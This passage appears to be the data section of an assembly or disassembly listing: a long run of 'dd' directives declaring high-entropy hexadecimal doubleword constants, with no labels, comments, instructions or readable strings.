		dd 0F22EB800h, 8CAE8FBBh, 0B5A50045h, 0DD7F10A7h, 0F8386E1Dh
		dd 67AF2C38h, 97A5B0Fh,	0F39B8054h, 0D4123Bh, 2077E1F2h
		dd 0C2C656DDh, 1306B600h, 0FC825CF7h, 9DE700D3h, 7664F455h
		dd 49F215C7h, 5302E200h, 4A8EB487h, 0D0FCEDh, 9EE6A098h
		dd 0CC8F944h, 0A1560500h, 27DD63A9h, 0A70D0197h, 0C321395Ch
		dd 5058E095h, 0CC0161ECh, 0F51DCDABh, 4BF07817h, 0DC82079Ah
		dd 0A708C305h, 0BBA960EBh, 0B40007F2h, 92A00318h, 7A8367h
		dd 91A1ECA5h, 0D7B4A38h, 0DE57D201h, 2CC27677h,	39F4CFDDh
		dd 0A5FD003Eh, 0E6D59690h, 0FC001419h, 0ADAA79E2h, 94BF93h
		dd 2E35A677h, 0DA535F10h, 4CF06B12h, 630067ECh,	4505D9DFh
		dd 201F69A6h, 97D2D5EEh, 857F2E00h, 9D066Eh, 381236D1h
		dd 81F1240Ah, 0E30E8801h, 0D1C1BE8h, 18AE71F8h,	0D47C7499h
		dd 6D721E6Bh, 373C562Eh, 807D800Fh, 7779E1Fh, 0FBDC02AAh
		dd 0DE0995C5h, 0F7B018E3h, 0D5F8A96Dh, 0C4465500h, 2E0E3821h
		dd 72D70008h, 1A4CD66Fh, 1B263196h, 7300E11Fh, 422B9EB2h
		dd 7B1878F2h, 9B5A005Dh, 0C8BE926Eh, 0D900A7DCh, 0FB552C07h
		dd 846204h, 0E967246Fh,	9DEB5D89h, 9902DA00h, 0A9195A55h
		dd 1BF4C6h, 0E52EA773h,	156E957h, 9307D8EEh, 0DECAB31Eh
		dd 87E665D0h, 10DD07B6h, 80C3818Ah, 1EC2F6EBh, 7C5B4F07h
		dd 136076E8h, 36E89B5h,	0FBEED3DDh, 881D5037h, 0A0414C99h
		dd 0C007BFE9h, 199549E5h, 0FE0455h, 0DB3C163h, 4F5447h
		dd 1B483233h, 6434C29Ch, 7F304674h, 0B78C3098h,	9438CA4Ch
		dd 93010FA0h, 67A5258Eh, 5034784Dh, 9E100156h, 5C062DC7h
		dd 91FC60FEh, 262E17h, 0D7D4A5D9h, 0AC14A2AEh, 1201D60Ch
		dd 220E1807h, 9643AFBCh, 1808C014h, 8AF66210h, 3A880C20h
		dd 27343F5h, 0CF6790E7h, 650E99C1h, 43D0C64h, 0C548E1A9h
		dd 11B57662h, 42880CF9h, 88DD21B2h, 0A941B753h,	7126211h
		dd 32F130A4h, 3524A29Ah, 0F908156Dh, 185942A7h,	5D240C85h
		dd 2124EA18h, 5115B477h, 6BA8100Ch, 8824CD8Ah, 0A14569F7h
		dd 845E3C4Ah, 7C19A566h, 172D1106h, 615E36E7h, 4E352118h
		dd 0B0F10218h, 2A8E0757h, 9080FB36h, 0A1769C8Fh, 22422100h
		dd 496C81C0h, 0A48D0E1Ch, 0FB00D978h, 243BFD83h, 4AE063E6h
		dd 0FEB27D12h, 4017610Ch, 3FA0080h, 0EDEFF105h,	0DC30983Ah
		dd 0D50F71D0h, 18F060BEh, 0F8C6B07Ah, 91AC7E00h, 0A3A4E748h
		dd 687518D4h, 0F7CF3101h, 96C6E906h, 0CA093E0h,	0F3D1FE8Bh
		dd 0D3182A88h, 25A80ED6h, 0DCDB1D6Eh, 885918F0h, 9675F427h
		dd 8F1C4AFDh, 44FCE08Bh, 0A3A072EFh, 1960CF58h,	0CE1F0F8h
		dd 963FB5BDh, 790C9F50h, 58ED36F3h, 768888DDh, 21F2E900h
		dd 0CE5A9C8Eh, 0E04C00A1h, 3BFA857h, 0C8A95D77h, 0E86FE199h
		dd 0D8C0C2A7h, 0ABF7FDC9h, 982F1494h, 9F02142Ch, 0FF37DFF1h
		dd 0A8B83493h, 99F8E117h, 453F9F00h, 0F58A4FE6h, 90C0A024h
		dd 7ECE3027h, 7DF99AF8h, 679EA200h, 0F81A4E85h,	1C840F2Dh
		dd 0C7D56E5h, 2EB8CD64h, 79C2850h, 0BD2BBE18h, 0CB3D98h
		dd 0BF2D09F6h, 0EB2E8866h, 0F470082Ah, 89CE8B00h, 5F20D429h
		dd 0B5283147h, 40D8FF18h, 7ED02168h, 402DA229h,	90D21F60h
		dd 0C8E754F4h, 6F58009Ah, 0AD5B608Eh, 651DFBEDh, 9829FA5h
		dd 0A789CFBEh, 60F1EC0h, 30109347h, 17F18727h, 9060418Ah
		dd 0B0AC9588h, 36C7486Fh, 0B9859418h, 9A28973Bh, 0F0759C6Bh
		dd 908F9C5h, 0F218101Bh, 53E48A25h, 324FED03h, 72C3A7A9h
		dd 2C312917h, 0CC8D4184h, 1F27D845h, 0AA023C92h, 77C3BB2Ch
		dd 924A4167h, 12CC1989h, 0F8F91801h, 8B488963h,	0C7C102Ch
		dd 0C70324EDh, 53FD00F0h, 0CDF89EDBh, 6235427Ah, 480218B3h
		dd 1807DB7h, 80289511h,	42936EA0h, 0A45C098Dh, 41F76084h
		dd 97D57176h, 0B4E79F00h, 5C392BBFh, 24549092h,	34C5E81h
		dd 8D50F594h, 0BEFCC7E0h, 40DCD5A1h, 83EDB580h,	0E049697Ah
		dd 1B3D03ACh, 0A8B44AB9h, 7082894h, 5C540996h, 0D7BF228Eh
		dd 99689844h, 3E3FA420h, 48704DD8h, 21D2208h, 25B3D27Fh
		dd 346887FBh, 437C26B5h, 0AD0498A0h, 0B0945D50h, 1BF42D48h
		dd 0BBE9A632h, 0C770011Fh, 0A05EAAAFh, 6E305CD3h, 4582D221h
		dd 4FC842BEh, 0E8AE5B9Ah, 0F4BF442h, 5D131068h,	0AF30E960h
		dd 900747DFh, 50A670BBh, 4DBFB8EDh, 0A3009C5Fh,	0E23F293Ah
		dd 79097322h, 18947520h, 8A89DCh, 24C971BCh, 0B1BDC3B0h
		dd 0BE65F608h, 0FE863A53h, 514DD2F0h, 5CB52A03h, 0A37B66E1h
		dd 0A004A5E7h, 10C8685Dh, 0AF7C010Fh, 0B1179EE3h, 0BB343020h
		dd 2227CC0Fh, 1C4260B6h, 3F6EA646h, 0C3016B82h,	97CEF890h
		dd 8C65EA3Bh, 0CB4AB84h, 0E41AD640h, 514891F9h,	480EA050h
		dd 425E0AFDh, 81485C32h, 98F776EDh, 2C40FA27h, 0EC00CC42h
		dd 6A73B21Fh, 188F0D54h, 0F083E909h, 563B29D7h,	364D07D9h
		dd 16302CBEh, 59AF89BDh, 0AC048FCh, 5181C14Bh, 0F9D8604h
		dd 8490504Eh, 5453AC6Eh, 3254E495h, 0B1B164E0h,	30D26D00h
		dd 17D701C9h, 0E64C73DFh, 0FC70DCA1h, 60100A6Eh, 3EC7C44Eh
		dd 9C7862h, 41D3A489h, 58146D64h, 0CB96FE00h, 54623DFBh
		dd 8937008Dh, 0EDD26CFDh, 1B3FD6C7h, 0AA6A8C15h, 0F9EE3170h
		dd 0DED11D13h, 0AE6881D7h
		dd 0CC7F8B44h, 0F04E2980h, 7442B17Ch, 0E8F22F00h, 3A320D9h
		dd 52E30183h, 0C7C085F7h, 7F42D017h, 32C32A01h,	388A5E5Bh
		dd 14F65FDCh, 8B51EFDh,	0EC234E20h, 80C51185h, 0AB5516C1h
		dd 0D1DD06E6h, 8DE24A9h, 0FA341C06h, 783D15h, 4CAD0A38h
		dd 30099DC4h, 1787C202h, 40C1DE91h, 373BD30h, 0C75F1E46h
		dd 0D232D388h, 83F769F5h, 0C8B83004h, 60B05DC6h, 0D286182Bh
		dd 2D01BA0Ah, 6A98F677h, 0A8207A93h, 7BBE0C1Fh,	2149A371h
		dd 0EEAAD3Bh, 60880D7Fh, 80BE4696h, 5F60074h, 0D9A051E9h
		dd 5A00D8E4h, 9D6CE62h,	197B34C9h, 7198E815h, 5422D838h
		dd 43715700h, 4C62B574h, 3E6C00F5h, 5B35D12Ah, 0B0C08810h
		dd 399AE9F2h, 0B04E01E3h, 669128CBh, 5FD04005h,	7B60826Ah
		dd 61D59AD9h, 39EA0C37h, 20515A24h, 14B97F00h, 173D85A2h
		dd 313F0F22h, 1FA053h, 16430C10h, 0DC294F84h, 708D3093h
		dd 4808B141h, 799009Bh,	54B6C6DEh, 120C936h, 0DBBB0304h
		dd 5998B420h, 0D6D3905h, 0C05F316Ch, 70180A9h, 3D76174h
		dd 80B73880h, 0BDB54D17h, 81B36502h, 27638F3Eh,	608BC098h
		dd 0BB00A6A2h, 5C888D55h, 689785C8h, 0ECF098EBh, 0BF0A4E09h
		dd 0CC8E6AAh, 3008D1F6h, 0D901A8A1h, 0A69CDCC6h, 82417909h
		dd 98080062h, 0A0BA104Dh, 8477660Ch, 9FA21F11h,	85757A10h
		dd 1808B167h, 447265B2h, 21769624h, 0C41BB6Bh, 0F708818Eh
		dd 2210B842h, 84E88463h, 8879A21h, 10AC426Dh, 0E84907Eh
		dd 885221B7h, 0AD429B08h, 8A893610h, 8A98306Ch,	2815DC49h
		dd 1D40C89h, 53B2DF6Fh,	22EA5B06h, 0FC7F8688h, 80A313F4h
		dd 0F720404Fh, 0DA4B3E02h, 7B4EB400h, 0F256F26h, 8C1380F5h
		dd 99A5B005h, 0C80CC53Fh, 0E710827h, 3EE08231h,	0ECE6A41h
		dd 20BBE1B6h, 0CD4C0F23h, 0C23A0075h, 3BE54D10h, 0BD4C04FCh
		dd 0D0F59FB9h, 0BFDA9910h, 0D9DECB1Dh, 86D8CDC5h, 0E5374C30h
		dd 88EA602Eh, 81C81109h, 0F07F7526h, 0CF313400h, 7A431706h
		dd 0B0630F8Dh, 0C4C00E67h, 0F88C19E7h, 74536E00h, 2617D49Fh
		dd 488601A6h, 49E0C892h, 12F1C459h, 1CACA7F2h, 0C3806846h
		dd 64EF5D3h, 84ACEC00h,	7C58FC0Bh, 65F43E33h, 0BC439492h
		dd 0DDDA0015h, 7187749Dh, 3C38F8F0h, 7F407A4h, 2515E7FEh
		dd 8648FC9Fh, 14337F28h, 9A8ED40Fh, 0FB885Eh, 48AE5A54h
		dd 0C60ECAE3h, 8ECC0440h, 5CE91EB5h, 9ABE2980h,	1F85005h
		dd 0D565FA94h, 3E75062Bh, 20E3A0h, 48683B01h, 9750837Ah
		dd 7FF33Ch, 42D37C93h, 0CE0C152Eh, 8CE06689h, 704C6B55h
		dd 0A79E750Fh, 521BC694h, 0F2148040h, 0CCF40116h, 7573DE90h
		dd 8858D1E7h, 76ACBBB0h, 41704421h, 0CC694F95h,	0D1070AADh
		dd 0AC80E29Ch, 10BE6B0h, 362B8ABh, 0D4E1C5CBh, 283F9B48h
		dd 80C4805Ah, 0C60722DDh, 0CB3F07BAh, 0F01A48B6h, 0AAA65D67h
		dd 66C1800Fh, 0E247E317h, 0E6100CCFh, 0C408785Bh, 4D255700h
		dd 17FC6A01h, 0EC31C0C6h, 5F8F6368h, 953F8307h,	3BBD507h
		dd 0B0707F98h, 7C6E02Ch, 48B82E18h, 4229607Eh, 0DB005AF5h
		dd 0DC9D464Ah, 3B9B47C1h, 2C984E7Fh, 4AA4718Bh,	78286100h
		dd 0C0AAECEAh, 0D44706DAh, 0D0E70124h, 200C417Bh, 10D9D56Ah
		dd 1EB530C1h, 418DF541h, 0CC2A2490h, 98018046h,	0ACC390F9h
		dd 670128D1h, 899442C0h, 98B0ACBFh, 0B0133A0Bh,	0B44E07CCh
		dd 0CF43B104h, 0DB95D620h, 101F702Dh, 0C7402A22h, 539D8438h
		dd 91B61456h, 15AB449Ah, 84CE99h, 0C23440EFh, 584C61Eh
		dd 0F5058AB1h, 758A805Bh, 2500F146h, 4C266F8h, 7FE19Fh
		dd 6248A667h, 7D8D9ED9h, 1EFC345Bh, 58D40900h, 610C9D01h
		dd 83D0F900h, 0B39CA9C1h, 182201DEh, 0DA48C6EBh, 0F3309B03h
		dd 0C1910028h, 78BA2A1Ah, 9802AAFDh, 9FD2FA53h,	14F8C25Fh
		dd 91D53884h, 66D2C180h, 61B10547h, 0F8001EE6h,	3A64153h
		dd 7F5E403Ch, 37E60339h, 2F4F28FEh, 7D95BA90h, 0C0427E0Eh
		dd 40CE621Ch, 30E600ABh, 0AC0045B1h, 0DB698B2Ah, 28DAB709h
		dd 21D0165Fh, 56004D97h, 0B8EBA48Dh, 9B5098Ch, 6415B0C0h
		dd 415667E0h, 0C8BD509Ch, 1B051D03h, 90B0C0E2h,	0B1AC5938h
		dd 2B4FC501h, 580B33B8h, 24913CD0h, 0E00C5488h,	0D9B159BEh
		dd 0A39EAB0Fh, 18B200B5h, 1F47A14Ah, 60ED515h, 28AC5267h
		dd 916D5A07h, 9D2188A3h, 0CEFC965Eh, 0DBF21D4Eh, 0F04780ECh
		dd 0AB863B73h, 7280701Eh, 5CF5E580h, 67C53Ah, 0AFC8CA62h
		dd 0A08D5229h, 1EA30A3Ch, 0E440A850h, 9587D038h, 3A5D1020h
		dd 0A7160AFh, 1EEF98h, 17E88CD9h, 76402680h, 87FD5C07h
		dd 50B09568h, 0BF707Ch,	9AB4C2F4h, 9733EC91h, 980D38C2h
		dd 944497E8h, 84003C63h, 417BBECCh, 4F0F9EF0h, 8298D8B6h
		dd 9820916Eh, 0CA43190h, 56976E8h, 77E09D21h, 8A00DF0h
		dd 6A11044Bh, 6630A37Ah, 9CD3320h, 0EBE01381h, 1B64849Eh
		dd 0A8439F10h, 98075B3Fh, 0D73AC5ECh, 20F00386h, 0C8009887h
		dd 10E3B84Ch, 1DDA6C97h, 63782BDh, 0D06B8BCBh, 49964712h
		dd 0CC0E0E00h, 0DFEC4Eh, 0F7B8AA4Fh, 0D5893417h, 80E8B23Fh
		dd 0CCADBAFEh, 609FB45Eh, 0FC9D843Dh, 0A60A76D1h, 0F4D946C3h
		dd 26C03A1Dh, 0D63E3222h, 0AEF70090h, 0B5B13409h, 6E0053CDh
		dd 0CBA179DEh, 96CF52h,	8165C89Fh, 6A41DA73h, 48E5D730h
		dd 7F556CDEh, 39CE67CFh, 311A2067h, 9C3C15DFh, 13BF0F16h
		dd 96CD8356h, 73BC398h,	0A9A74548h, 0C739CCACh,	2A03C5F8h
		dd 0EAB4389Ah, 0A1BC83ABh, 2081D018h, 0B6C59646h, 0CF3EC411h
		dd 9755A700h, 86359E3Ch, 496660ACh, 74FE500Ah, 75F9AA50h
		dd 7BE35212h, 84C46F00h, 0E4AC6Eh, 773EE2F1h, 0D21E7599h
		dd 644420D0h, 6860A498h, 0B47031C5h, 0C330BC43h, 0C5602721h
		dd 80789739h, 14D43E8Bh, 17998C9h, 43E48638h, 3015DD66h
		dd 0A83070B1h, 413D18FDh, 0F3C001F8h, 0F591A752h, 73ADF856h
		dd 3714B201h, 2931EB5Ah, 3F180E8h, 98CC0F6Ch, 84A467C8h
		dd 0B180802Fh, 8200D341h, 80E51C4Ch, 0D57D6Bh, 0C5DB5410h
		dd 0F70DB59Eh, 51CC3700h, 0F94AFB99h, 0D2A00EF4h, 21A097B3h
		dd 8431903Bh, 53604100h, 0A42C65B5h, 0FF190028h, 0AD67F0F5h
		dd 0F300A8D0h, 0E4157E84h, 0EFB05Ch, 0D1B0210h,	3A6C4699h
		dd 13005771h, 2D8D9267h, 74C4F32h, 3E04D328h, 3A05852Eh
		dd 39670C04h, 81036h, 0B9290B4Ch, 0A2E6FE04h, 49BC1C07h
		dd 0A0FE35CDh, 0A64F3CCBh, 0B8E80058h, 8C1B61D9h, 0DB00A410h
		dd 42288637h, 7418694Ah, 5FB003Ah, 9321F2C2h, 480F6E77h
		dd 20105E36h, 3E3A781Ah, 398B7B09h, 79790188h, 0BCE73803h
		dd 0B9B1CA8Eh, 650C6C00h, 0B760CE29h, 0CC5B11E4h, 0F77D0014h
		dd 16D8A288h, 0F9FE7A92h, 8DCFBA0Eh, 0F69CA0C8h, 387538E3h
		dd 5E03DBF7h, 60CC9594h, 6880BABh, 8B00207Dh, 336D6C8Ah
		dd 9287Ah, 0FB1A1E48h, 5569E10Ah, 0E0D3E00h, 0A66CF670h
		dd 0D8D102F9h, 956B5F2Dh, 6A3C5E60h, 4B24C400h,	56507FEFh
		dd 40330118h, 0A18C80CBh, 27C607Ch, 0FFCA591Fh,	0C1A5F707h
		dd 0F22FEF30h, 75090060h, 0F951CD3Ah, 660A17C4h, 0C43D5CB9h
		dd 0C074E50Fh, 0C57F09B6h, 0BDE9001Bh, 0FFEB2CAh, 3C01DF9Dh
		dd 644ACF9Fh, 0E4502D42h, 0FB5F995Ch, 3893F8h, 0CD4DF9C6h
		dd 356E96FDh, 76B7B00h,	4998508Ch, 4F4E00FFh, 3C45286Ch
		dd 2C0790C7h, 0E34C272Ah
		dd 2E154970h, 0F37717h,	59A7E2A9h, 93DC2B84h, 0FE08A501h
		dd 6DB46BF9h, 482B70h, 0EC5A511Ch, 9D2943E5h, 0BF562E00h
		dd 636F2685h, 0BACB0FD3h, 52806B3Eh, 413612A3h,	51259600h
		dd 27E4471Ah, 13E900BFh, 44E55FF9h, 0AB60536Eh,	0F1E8BEF1h
		dd 33033FB0h, 0CE32DB80h, 0B44D304Ch, 0CF9BC900h, 0EC79E9C0h
		dd 1798F8B8h, 1D22AEF6h, 94594C16h, 2003DEB0h, 2FC53C16h
		dd 0F721D9E3h, 172B1D4h, 79B7F2C8h, 0F249EE64h,	9930A480h
		dd 2E00203Bh, 6F623C61h, 6A9D033h, 0D6B8935Eh, 6E00C0F8h
		dd 53F3617Dh, 13238388h, 0E2AEADh, 7AE7BEA9h, 640008C0h
		dd 9F094241h, 11D31Dh, 0A54C4D2h, 0E9C85A9Ah, 33F74700h
		dd 4B5F655Ch, 26D13020h, 5A4225B0h, 0D376BA00h,	4468D975h
		dd 0C04E0009h, 0ED85573Ch, 88008ED8h, 1704FE26h, 0E1E654Ch
		dd 0CFF5918h, 6E8D95E0h, 640C7C4Fh, 0D836E770h,	75A40002h
		dd 8EB33C6Ah, 8000D852h, 865CDDE8h, 0F8F1FDh, 0BA4D8D58h
		dd 75ECC499h, 37AD2F00h, 0AD816EDh, 0B8C94E15h,	0F0074DFh
		dd 0B907380Dh, 44F93Dh,	0C3CD5A9Fh, 4878B18h, 9E31A901h
		dd 0B9EAB786h, 0B011E443h, 3AE7AF0h, 9213E7EFh,	67E81E5Eh
		dd 9009A65h, 732B88FDh,	0C76B1F2h, 2E54E6F3h, 280FF411h
		dd 184960Dh, 0D9DF660Ah, 4B979424h, 7473FC76h, 52B71907h
		dd 51D075DEh, 1ECA05Ch,	17622A72h, 80D0F38Bh, 0F4D8E588h
		dd 3FACDB0h, 263B2D2Eh,	6804A872h, 0D842FB8h, 4370EC87h
		dd 1EE4DE15h, 81A6E23Ch, 297C3873h, 0ECE44004h,	9000FD7Fh
		dd 8BD45E0h, 4287DA1h, 3606488Ch, 0C35FC4E6h, 2FE84FE9h
		dd 3C00CD93h, 7AEF380h,	0E6BA98A2h, 0C3240ED1h,	6206B1Dh
		dd 44BB93BDh, 20EFCE00h, 0F15A774Dh, 89E63Ah, 40CA81C5h
		dd 731A7BEh, 0C301C2F0h, 7A5C3B11h, 8850ACAFh, 590CE7h
		dd 0A8CCEFB4h, 0FD7928F0h, 0BA199513h, 2005C400h, 184DB5h
		dd 0C426AFD6h, 9879CC58h, 9E703800h, 0BA20EE9Ah, 0DCAA1941h
		dd 0D80F3034h, 0C006435h, 242C29CBh, 7517C5A3h,	85FC00E3h
		dd 31F3C4Bh, 0C700F306h, 0F74E4A39h, 170E32h, 0D68F2787h
		dd 0F65B7815h, 2652ED01h, 0C0287748h, 0A54B8C40h, 43E0159h
		dd 0A742A1E2h, 30683580h, 900093D3h, 7C23DCB8h,	14C9CC52h
		dd 80111D4h, 29275700h,	0D7468854h, 9882A426h, 1A7EB205h
		dd 175C53C0h, 5F090438h, 906A782Fh, 9F559C28h, 2A81A300h
		dd 76020864h, 98C97D87h, 0C68901E0h, 4304A950h,	0ADB06491h
		dd 2C590F00h, 25BD69DDh, 0C079FAA0h, 6DF4CA41h,	1503EC09h
		dd 8B703921h, 0AA9188B6h, 81BF007Eh, 0BE52E254h, 0FE000CE1h
		dd 0C2826432h, 392926h,	2B22A074h, 84ED5085h, 709BE900h
		dd 0A558D8FCh, 533E004h, 877DF064h, 0E3C3C7F4h,	0B58A5B0Fh
		dd 0E3663AC0h, 0D3C9A61Ch, 6449F7C0h, 0D1EDFCh,	27770DD2h
		dd 3623120h, 0AB00FFFCh, 9F614EA5h, 0AD997Ah, 131A0539h
		dd 0A0174A68h, 0C810B900h, 0A4D87838h, 0BA650FCEh, 0BFCAA1Dh
		dd 0E400F37Ah, 4DE70D1Fh, 0E557D600h, 4ADD2646h, 0B1290302h
		dd 0E4B6CF47h, 9D07287Ah, 0D1F2ECEDh, 0DAC0DF5Eh, 0C374106Ah
		dd 4E6B0036h, 9B9F96F6h, 0FFFEA859h, 0D0342800h, 0C549B882h
		dd 60AA00B0h, 6625ADDCh, 6D01DDC3h, 46A8170Fh, 0C460FE1Fh
		dd 6AE002AFh, 0BCE4BDEh, 90AEBD40h, 0DC63601h, 6887515Fh
		dd 0CC4B1D4h, 3372296Fh, 0AC38D148h, 0A31B9E32h, 47510B83h
		dd 709CE8A9h, 0A4384896h, 9BB6C000h, 527F4B8Dh,	1164C00h
		dd 0C9DA333Bh, 0C3A0A0EAh, 8FA400FAh, 41B6C75Ah, 2E0EEFBDh
		dd 40ED95AEh, 76AA9D4Fh, 1537012Fh, 0ED207D7h, 360CC44Eh
		dd 6E11B300h, 9F1C0F3Dh, 1ED79CAh, 590339C2h, 202FC46Bh
		dd 0D9E0A580h, 1EF46C02h, 409B3531h, 3F3F3D5Eh,	2873943h
		dd 87328F18h, 0FC468063h, 0D903480Ch, 2658F32Dh, 0FE8898B5h
		dd 8B3B39F6h, 285C7000h, 480E5B5Ah, 0B6C99900h,	0A955F018h
		dd 6209852h, 6BD16987h,	2FF0803Ah, 0BE11B71Fh, 0C9E68F80h
		dd 3B2C52FCh, 0CC0D6AC4h, 6440B24Eh, 7800AB40h,	15F40C80h
		dd 58AC49F8h, 3B00C844h, 43A59903h, 5E036863h, 70D69A14h
		dd 0CA28C0ACh, 507B49h,	55C5C891h, 6844AD77h, 0B0FF241Fh
		dd 0D5CA8F40h, 9C5E65h,	0AC666E1Fh, 0F29F8CEEh,	0C6A32A00h
		dd 6AEBAB3Eh, 0E08F0665h, 0FE2BD039h, 66C2691Eh, 9F047987h
		dd 0D91E00CFh, 73B8895Eh, 32E443h, 0FE5C3712h, 827DAF5h
		dd 78912C00h, 2F4492D6h, 0D3100189h, 75AB283Dh,	2B0EFC7Bh
		dd 4B0B6276h, 0BC029Fh,	0E3DE609Eh, 39BE806h, 0CEAA67F0h
		dd 6A8987EDh, 820DD952h, 35B54694h, 65AC8022h, 3A61849Eh
		dd 0BA8E5730h, 29A03694h, 0E5072AB5h, 0A29CA400h, 2013E1A0h
		dd 0A64F003Dh, 370C7DF4h, 0B603DBB3h, 2C4CD70Dh, 0E057A7FCh
		dd 6FEFCC60h, 75F218CEh, 534F6001h, 57569C03h, 0A8AAA8BCh
		dd 92A604Ah, 0C8E8120Bh, 15476C21h, 40F221B3h, 0E182072Eh
		dd 5E0F57EEh, 0C0385D3Fh, 13F34EC9h, 6C920065h,	0B6A7499Ch
		dd 5709AE36h, 613B715Fh, 0D121EA24h, 0B0B0884Bh, 4C39DE41h
		dd 9D1A80EFh, 14581885h, 8A86047Bh, 0B25602BAh,	2F77E070h
		dd 31B73220h, 1760EC51h, 4E901591h, 0FC6C0407h,	0D04059C1h
		dd 3E8844A8h, 9896D48h,	0DC8F5251h, 46890B60h, 846395A6h
		dd 0D98D3738h, 106462FEh, 17C40F54h, 5B4F9A3Dh,	694F2018h
		dd 65890662h, 1E47497h,	548BC9B1h, 710893ADh, 0FF233840h
		dd 0ACD6Dh, 941383E4h, 9BD9812Fh, 2DA9661Ch, 0D64CEF40h
		dd 6F16631Fh, 11C8D03Bh, 0B5567031h, 8EF139CFh,	3F601300h
		dd 0F6F13393h, 2465F23Ah, 0E580408Fh, 0FD694845h, 0AAC21828h
		dd 6EF9198Bh, 0CD9D800h, 0B8AE8830h, 0E19A0369h, 8D3C3F87h
		dd 0FF36823h, 0C87F12F9h, 0BC6291BBh, 480002Fh,	120E9913h
		dd 3782DCDh, 0C0E6A461h, 0F706FFBh, 0B08F0DC2h,	37B782C2h
		dd 459ED8A0h, 0A242A78h, 0B21FD984h, 689108F2h,	1C2FE34h
		dd 18C0ED76h, 409698CBh, 4CF54C8h, 0F93E59E6h, 87701827h
		dd 616FBC18h, 2DB490B5h, 4E34487Fh, 0A317804h, 3C331D4Ch
		dd 87F3210Ch, 91F876h, 3911AE50h, 0D5EFFA28h, 312E98A9h
		dd 4C8DCDD8h, 28C55C4h,	3F611357h, 7919664Bh, 4882EE10h
		dd 6C416706h, 0AB09A01h, 276D064Eh, 743E02F8h, 88093F79h
		dd 1E8C80A5h, 4C854003h, 8280D442h, 36AD8429h, 44C011DDh
		dd 2760ECC2h, 0AEBD00A5h, 0A869A198h, 780110F7h, 84F91C14h
		dd 18899987h, 44219890h, 0E8856FA0h, 5C526083h,	2279F1F8h
		dd 0ED122B0Ch, 0B04E5106h, 0B889CFB2h, 391B4DD0h, 2C8A8445h
		dd 87B43259h, 11630D11h, 3018C265h, 0EB5098DAh,	6C2A3EA8h
		dd 5A02E481h, 6414C432h, 24B484AEh, 62134060h, 29033F23h
		dd 7F370044h, 6AAE7748h, 2126DA00h, 3FFCA1D2h, 326B28BCh
		dd 845E09B0h, 88E92E35h, 0D6EC2463h, 9C2BB13Fh,	0F403CEE1h
		dd 1EE7A505h, 1F013592h, 0E882BB19h, 3E84B28Dh,	85C49447h
		dd 0FAE5B260h, 0EDCBC60Bh, 0F4588ACEh, 12EB9742h, 0D80C0B5h
		dd 0B7FC7101h, 3A7A135Ah, 0A04C0AADh, 27BE80F8h, 0FE8688F0h
		dd 51404D00h, 2A3C2873h, 5E4C0063h, 61BE59BAh, 0C41D0A6Eh
		dd 8C11422Bh, 20B4A913h, 0A10E4E80h, 40F42E51h,	15ADACCCh
		dd 0CE42A800h, 7EB59A09h, 14A3002Ch, 286AE5D7h,	0F80EBFEAh
		dd 8680EE67h, 7B20CE11h
		dd 3DEC00E1h, 0D652E6D0h, 0F11CC6CDh, 72DE3B5Fh, 0EC40B71Fh
		dd 2BBE605Ah, 0F0B403A3h, 74C2F32Ch, 0DE004078h, 4951ED04h
		dd 37E057DAh, 5C08DBF1h, 9B03BE21h, 0EA34F7EFh,	0FB64E84Fh
		dd 0C4F259h, 0AF3CC6F2h, 8FA3AB9Bh, 0CFE8460Ch,	6CA18D7h
		dd 3DBF192Ah, 9C0010DAh, 0A0AF3B75h, 1D1B6116h,	0D5E4AEFh
		dd 0F5202A98h, 0F58D60DDh, 1A3FA107h, 69D008D4h, 30DEA872h
		dd 0D659A2BFh, 0FF078F63h, 423F427h, 5AC99F30h,	7C6D0030h
		dd 88A27ACFh, 4B009A36h, 4DB6BA49h, 51666A3h, 6E942029h
		dd 9128039h, 0EC00D108h, 0FF437D1Bh, 30CBA59Eh,	0FCC8897Ch
		dd 2400FAF7h, 0F241ABDCh, 0C0D04D94h, 10E83AF1h, 741FA593h
		dd 54E68A6h, 2AB9867Ah,	0D0480020h, 4BD3E210h, 6A00699Ah
		dd 0F512CDFCh, 7E5CDCCBh, 0F4E9EAE8h, 78CE00F9h, 0B59D3C2Dh
		dd 507B947h, 23B7DEEBh,	0E0894AC3h, 74462B6Ah, 4D1A0ADBh
		dd 7A83CC7h, 40481201h,	0AD1EB268h, 0A619D160h,	0F4CF97F1h
		dd 46EE07B0h, 163EA850h, 85732118h, 56769700h, 0BC38B3ABh
		dd 0E3A914A6h, 79B8C0h,	0EA04832Ah, 685123CBh, 0F3F43B2Eh
		dd 52DBC603h, 0DAE009F5h, 86008C12h, 0ECE73C1h,	9D86891Dh
		dd 5A11118h, 872E009Bh,	45699051h, 0FEFCCE64h, 68481800h
		dd 14DCC13Eh, 5168C00Ah, 9806BA1h, 60266487h, 0D513FFh
		dd 34DD3758h, 0AC354374h, 7F977504h, 1C90769Ah,	15467EFh
		dd 0A12F2931h, 52DA68BCh, 93306CA0h, 1F2D1197h,	51D484C0h
		dd 97E48B00h, 803A4031h, 547CA486h, 9E025E80h, 17BA4A69h
		dd 17B4456h, 47B2E38Ah,	0FB1C24DBh, 0D75BD200h,	0E413B311h
		dd 4D790FB0h, 0E6C1A390h, 0C829E7DFh, 950093F8h, 46829737h
		dd 55DDB269h, 808D50AAh, 3991ED2h, 21001950h, 5B970186h
		dd 1356617h, 0AC73C247h, 20877603h, 2300D26Ch, 9EFE2A15h
		dd 3E163BA9h, 74008308h, 552F7BCh, 21027DABh, 0F24CC972h
		dd 47C4C9Bh, 0A5DC112Dh, 0BF68677Ch, 4710D400h,	6409C181h
		dd 821A4A01h, 0C9C523D8h, 0F566A181h, 41A56799h, 0CCD94B9Ch
		dd 1A0006CBh, 71B843C3h, 4CD02AC0h, 30C01CBDh, 4EA08C3Bh
		dd 9A225E43h, 3218DE03h, 0E94EB239h, 0E470759Bh, 5D300C8h
		dd 30ABAE14h, 29008487h, 3E40E943h, 504B8D34h, 32B68880h
		dd 0DAE1D6EBh, 869E1841h, 0CF26FF59h, 682C4DA9h, 72164223h
		dd 1EA18304h, 88CE68D8h, 3B002B7Ch, 31D8C50h, 26285C9Ah
		dd 748CC49Fh, 1779746h,	0E2900DCEh, 0E8B37A6Ch,	0D64C2301h
		dd 43498208h, 0F53C40AEh, 0A7D734A9h, 5481C1B8h, 91B4214Ah
		dd 7C804478h, 6EA0D83Bh, 0D7A5208Ch, 3A00E4E4h,	9B6C1C2Ch
		dd 29BD104Fh, 90BF98h, 8F03659Ch, 33E4FA2Dh, 68C01998h
